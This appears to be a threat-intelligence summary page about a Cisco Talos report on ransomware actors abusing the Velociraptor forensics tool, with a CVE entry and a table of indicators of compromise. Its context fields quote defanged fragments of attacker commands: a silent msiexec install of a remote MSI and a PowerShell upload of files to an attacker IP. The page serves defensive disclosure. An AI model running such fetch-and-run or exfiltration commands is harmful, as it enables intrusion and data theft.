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Velociraptor leveraged in ransomware attacks

Cisco Talos ()8 min read4
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Vulnerabilities mentioned

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2025-6264
Velociraptor allows collection of VQL queries packaged into Artifacts from endpoints
5.51%PoC ×2

Indicators of compromise

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TypeIndicatorContext
domainwindows.net. msiexec /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi The actors also executed the following comm
ipv465.38.121.226b.HttpUtility]::UrlEncode($fileName) $uploadUrl = "http[:]//65.38.121[.]226/test/$encodedFileName" Write-Host "upload $file to $uploa
sha25612f177290a299bae8a363f47775fb99f305bbdd56bbdfddb39595b43112f9fb7CA5412F1091186A803D3905465219053393F6421 Velociraptor.exe - 12F177290A299BAE8A363F47775FB99F305BBDD56BBDFDDB39595B43112F9FB7 Malicious Velociraptor config.yaml - A29125333AD72138D299CC
sha256649bdaa38e60ede6d140bd54ca5412f1091186a803d3905465219053393f6421d by the adversary for persistence Velociraptor installer – 649BDAA38E60EDE6D140BD54CA5412F1091186A803D3905465219053393F6421 Velociraptor.exe - 12F177290A299BAE8A363F47775FB99F305BBDD5
sha256a29125333ad72138d299cc9ef09718ddb417c3485f6b8fe05ba88a08bb0e5023BDFDDB39595B43112F9FB7 Malicious Velociraptor config.yaml - A29125333AD72138D299CC9EF09718DDB417C3485F6B8FE05BA88A08BB0E5023 Internal Monologue NTLM downgrade malware: In.exe- C74897B1
sha256c74897b1e986e2876873abb3b5069bf1b103667f7f0e6b4581fbda3fd647a74aBB0E5023 Internal Monologue NTLM downgrade malware: In.exe- C74897B1E986E2876873ABB3B5069BF1B103667F7F0E6B4581FBDA3FD647A74A
urlhttps://stoaccinfoniqaveeambkp.blob.core.windows.net/veeam/v2.msieral times even after the host was isolated. msiexec /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi The actors also executed the following command to run

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Cisco Talos has confirmed that ransomware operators are leveraging Velociraptor , an open-source digital forensics and incident response (DFIR) tool that had not previously been definitively tied to ransomware incidents .

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